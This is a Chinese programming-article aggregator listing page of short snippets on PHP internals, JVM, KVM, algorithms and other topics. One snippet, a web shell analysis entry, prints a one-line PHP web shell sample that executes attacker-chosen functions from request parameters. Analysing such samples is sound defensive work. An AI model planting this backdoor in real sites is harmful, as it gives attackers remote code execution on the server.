首页 > 2019年10月29日 > 全部分享
PHP5底层原理之变量
PHP5底层原理之变量 变量结构 zval 结构体 PHP 所有类型的变量在底层都会以 zval 结构体的形式实现 (源码文件Zend/zend.h) 源码根目录搜索 grep -rin --color --include=*.h --include=*.c _zval_struct * 注:上面z ...
分类:Web开发   时间:2019-10-29 14:47:26    收藏:0  评论:0  赞:0  阅读:55
如何让你的服务器永远不抛出500
PHP常见错误: 1、调用function参数错误 2、类不存在 3、变量未定义 4、数组无匹配下标 5、数据库入库错误 常用的捕获错误方法: 1、try catch捕获数据库错误 2、注册错误回调函数捕获错误 ...
分类:其他   时间:2019-10-29 14:47:09    收藏:0  评论:0  赞:0  阅读:95
权限设计=功能权限+数据权限
权限管理 Authority Management 目前主要是通过用户、角色、资源三方面来进行权限的分配。具体来说,就是赋予用户某个角色,角色能访问及操作不同范围的资源。通过建立角色系统,将用户和资源进行分离,来保证权限分配的实施。 一般指根据系统设置的安全规则或者安全策略,用户可以访问而且只能访问 ...
分类:其他   时间:2019-10-29 14:46:48    收藏:0  评论:0  赞:0  阅读:71
[洛谷] P5601 小D与笔试 题解
题目背景 小D是一位即将参加 ION 的 IO 选手,然而笔试题库中数量繁多的奇怪题目让他大伤脑筋,快来帮帮他! 题目描述 笔试题库可以抽象为 $n$ 道题目,每道题目由题面和答案组成,都是一个字符串,保证所有题目题面互不相同。 为了检验小D背笔试的效果,教练进行了一次模拟考试,考试包含 $q$ 道 ...
分类:其他   时间:2019-10-29 14:46:25    收藏:0  评论:0  赞:0  阅读:116
WebShell代码分析溯源(一)
WebShell代码分析溯源(一) 一、一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二、代码分析 1、调整代码格式 <?php $_GET['POST']($_POST['GET']); ?> 2、分析代码,首先以GET方法接收url中POST参数传 ...
分类:Web开发   时间:2019-10-29 14:46:08    收藏:0  评论:0  赞:0  阅读:69
用python写网络爬虫(第二版)
[toc] 示例网站:http://example.python scraping.com 资源提供:https://www.epubit.com/ 第一章:网络爬虫简介 1.1 网络爬虫何时会有用? 以结构化的格式,获取网上的批量数据(理论上可以手工,但是自动化可以省时省力) 1.2 网络爬虫是否 ...
分类:编程语言   时间:2019-10-29 14:45:45    收藏:0  评论:0  赞:0  阅读:196
kvm
1、搭建kvm虚拟环境 ?KVM是一个混合类型的VMM,它能够以模拟方式支持硬件的完全虚拟 化,也能够在GuestOS中安装驱动程序进而支持部分硬件的半虚拟化 ?对网络设备和块设备来讲,半虚拟化方式能够极大地提升设备性能 ?Red Hat联手IBM同Linux社区开发出了一种独立于VMM的半虚拟化驱 ...
分类:其他   时间:2019-10-29 14:45:02    收藏:0  评论:0  赞:0  阅读:62
同步/异步/多线程 的区别和解释
一般情况:顺序结构,必须等待前面的操作完成(两个人说话,a把所有话说完,b才能继续说) 并发:同一时间段处理多个任务的能力(两人说话,支持你一言我一语的交流,两人在一个时间段内都有说话,是基于时间段内的同时发生) 并发又有同步和互斥 互斥:不能同时使用临界资源(有一个共享资源--话筒,两人必须用话筒 ...
分类:编程语言   时间:2019-10-29 14:44:46    收藏:0  评论:0  赞:0  阅读:57
转、SqlServer中delete语句表别名的问题
转自https://www.cnblogs.com/willingtolove/p/9398114.html 1、一般情况下删除表数据的sql语句: 2、如果想给表起个别名再删除呢,就得像下面这样写了 也可这样 delete p from products as p where p.rowid>6 ...
分类:数据库技术   时间:2019-10-29 14:44:29    收藏:0  评论:0  赞:0  阅读:92
python学习第八天--异常
Exception 常用异常: ...
分类:编程语言   时间:2019-10-29 14:43:50    收藏:0  评论:0  赞:0  阅读:77
表达式与语句的区别
Expression:计算;一次计算; Statement:操作,状态维护;一次操作。 Expression: Something which evaluates to a value. Example: 1+2/x Statement: A line of code which does some ...
分类:其他   时间:2019-10-29 14:43:19    收藏:0  评论:0  赞:0  阅读:70
JVM
1、 简述JVM垃圾回收算法分类 常用的垃圾收集算法 JVM的内存结构包括五大区域:程序计数器、虚拟机栈、本地方法栈、堆区、方法区。其中程序计数器、虚拟机栈、本地方法栈3个区域随线程而生、随线程而灭,因此这几个区域的内存分配和回收都具备确定性,就不需要过多考虑回收的问题,因为方法结束或者线程结束时, ...
分类:其他   时间:2019-10-29 14:43:00    收藏:0  评论:0  赞:0  阅读:54
P1006 输出第二个整数
题目描述 输入三个整数,整数之间由一个空格分隔,整数是32位有符号整数。把第二个输入的整数输出。 输入格式 输入三个整数,整数之间由一个空格分隔,整数是32位有符号整数。 输出格式 输出输入的三个整数中的第二个。 样例输入 样例输出 ...
分类:其他   时间:2019-10-29 14:42:39    收藏:0  评论:0  赞:0  阅读:65
rosdep update 超时问题解决
解决方法: 更改 /usr/lib/python2.7/dist-packages/rosdep2/下的三个文件sources_list.py、gbpdistro_support.py、rep3.py中的DOWNLOAD_TIMEOUT = 15.0值,改大一点就可以了。操作如下 然后利用vim的搜 ...
分类:其他   时间:2019-10-29 14:42:16    收藏:0  评论:0  赞:0  阅读:726
初始jQuery
1what http://jquery.com/ * 一个优秀的JS函数库: write less, do more(使用了jQuery的网站超过90%,中大型WEB项目开发首选) * 封装简化DOM操作(CRUD) / Ajax 2why * 强大选择器: 方便快速查找DOM元素(HTML元素选取 ...
分类:Web开发   时间:2019-10-29 14:41:45    收藏:0  评论:0  赞:0  阅读:96
hdu3068-最长回文-马拉车(Manacher)算法
http://acm.hdu.edu.cn/showproblem.php?pid=3068 脑子转个弯总算看懂马拉车算法了。记录一下思路和模板。 马拉车算法是在O(n)的时间内求出最大回文子串。 一、变量和定义 为了对奇偶回文串统一处理,每个字符之间都加上一个字符,加上一个不会出现在原字符串的, ...
分类:编程语言   时间:2019-10-29 14:41:27    收藏:0  评论:0  赞:0  阅读:87
vue1
Document 添加品牌 ID: Name: ... ...
分类:其他   时间:2019-10-29 14:40:49    收藏:0  评论:0  赞:0  阅读:84
openssl安装
1.下载源码 https://www.shikexu.com/wp-content/uploads/2019/01/openssl-1.0.2q.tar.gz 2.解压 3.配置 ./config 4.安装 make install 默认会安装在 /usr/local/ssl 中 config的时候 ...
分类:其他   时间:2019-10-29 14:40:29    收藏:0  评论:0  赞:0  阅读:89
linux系统文件IO
本文重点说明下面内容: 什么是标准IO,什么是文件IO? 什么是Direct IO? O_SYNC标识有什么意义? 各个层面的缓存如何同步? IO路径上的各层buff Application buff | clib buff | page cache | disk cache 标准IO 标准IO操作 ...
分类:系统服务   时间:2019-10-29 14:40:10    收藏:0  评论:0  赞:0  阅读:80
三层总结
前言三层敲完之后,有很多不理解的,代码直接看的视频并不知道之间的值是怎么传的,后来逐句调试了几遍,把每句话的代码基本都写上了,逐渐理解了。 三层是什么三层架构把整个软件分为了三个层次:表现层(User Interface layer)、业务逻辑层(Business Logic Layer)、数据访问 ...
分类:其他   时间:2019-10-29 14:38:54    收藏:0  评论:0  赞:0  阅读:70
1720条   上一页 1 ... 45 46 47 48 49 ... 86 下一页
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!